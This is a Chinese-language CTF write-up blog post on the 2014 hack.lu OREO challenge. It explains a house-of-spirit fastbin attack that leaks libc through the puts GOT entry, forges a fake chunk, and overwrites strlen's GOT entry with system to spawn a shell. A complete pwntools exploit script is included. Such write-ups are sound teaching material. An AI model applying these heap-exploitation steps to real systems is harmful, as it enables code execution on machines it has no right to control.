2014 hack.lu CTF OREO

house of spirit就不写了没啥写的,所有的检查fastbin dup里都有提。这题写的也没有那么折磨( •̀ ω •́ )y

逆向

main

注意一点,notice里存的是notice_context的地址,上面的是malloc的chunk的数量cnt和free的chunk的数量cnt_del,这一块之后将用于伪造fake chunk

main_和read_num

真正的主函数,没啥好说的

读入一个数

这道题很奇怪的一点就是exp中gdb.attach后收不到”Action: “,原因未知。总之交互很奇怪

add

可以通过溢出改变chunk链。会递增cnt

show

输出所有chunk

delete

删除所有chunk,递增cnt_del,无uaf

message

留言在notice所指向的地址

stats

输出cnt、cnt_del和notice,没啥用

思路

  • 先add一个chunk,溢出到最后四字节改指针指向puts的got表然后show泄露libc基址

  • 可以在cnt和notice这块伪造fake chunk,把cnt当作size。由于chunk申请的大小是0x40,所以我们要再申请0x40个chunk(之前已经有一个了),并且最后一个chunk的最后四字节要指向0x804a28

  • message留言fake chunk的后半部分。chunk的最后四字节置0,nextchunk的size和presize布置为合法值

  • delete,fake chunk进入fastbin且为第一个chunk

  • add回fake chunk,将notice覆盖为elf.got[‘strlen’]-0x8

  • 再message,写

    1
    b'/bin/sh\x00'+p32(system_addr)

    这时内存就是这样的

1
2
notice	-> elf.got['strlen']-0x8	-> b'/bin/sh\x00'
elf.got['strlen'] -> system_addr
  • 之后replace_enter_0中会执行strlen(notice),这时候实际执行的就是system(‘/bin/sh’)

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
context.arch = 'i386'
context.os = 'linux'
context.log_level = 'debug'

def add(description,name):
p.sendline(b'1')
p.sendline(name)
p.sendline(description)
def show():
p.sendline(b'2')
def delete():
p.sendline(b'3')
def message(notice):
p.sendline(b'4')
p.sendline(notice)
def stats():
p.sendline(b'5')

p=process('./oreo')
elf=ELF('./oreo')
libc=ELF('./glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so')
add(b'Q',b'Q'*0x1b+p32(elf.got['puts']))
show()
p.recvuntil(b'Name: \nDescription: ')
s=p.recv()[:4]
libcbase=u32(s)-libc.symbols['puts']
print(hex(libcbase))
for i in range(0x3f):
add(b'Q',b'Q')
add(b'Q',b'Q'*0x1b+p32(0x804a2a8))
message(b'Q'*(0x38-0x18-4)+p32(0)+p32(0x40)+p32(0x21))
delete()
system_addr=libcbase+libc.symbols['system']
add(p32(0x804a250-8),b'a')
gdb.attach(p)
pause()
message(b'/bin/sh\x00'+p32(system_addr))
p.interactive()

2014 hack.lu CTF OREO
http://akaieurus.github.io/2023/02/02/hack-lu-CTF-2014-OREO/
作者
Eurus
发布于
2023年2月2日
许可协议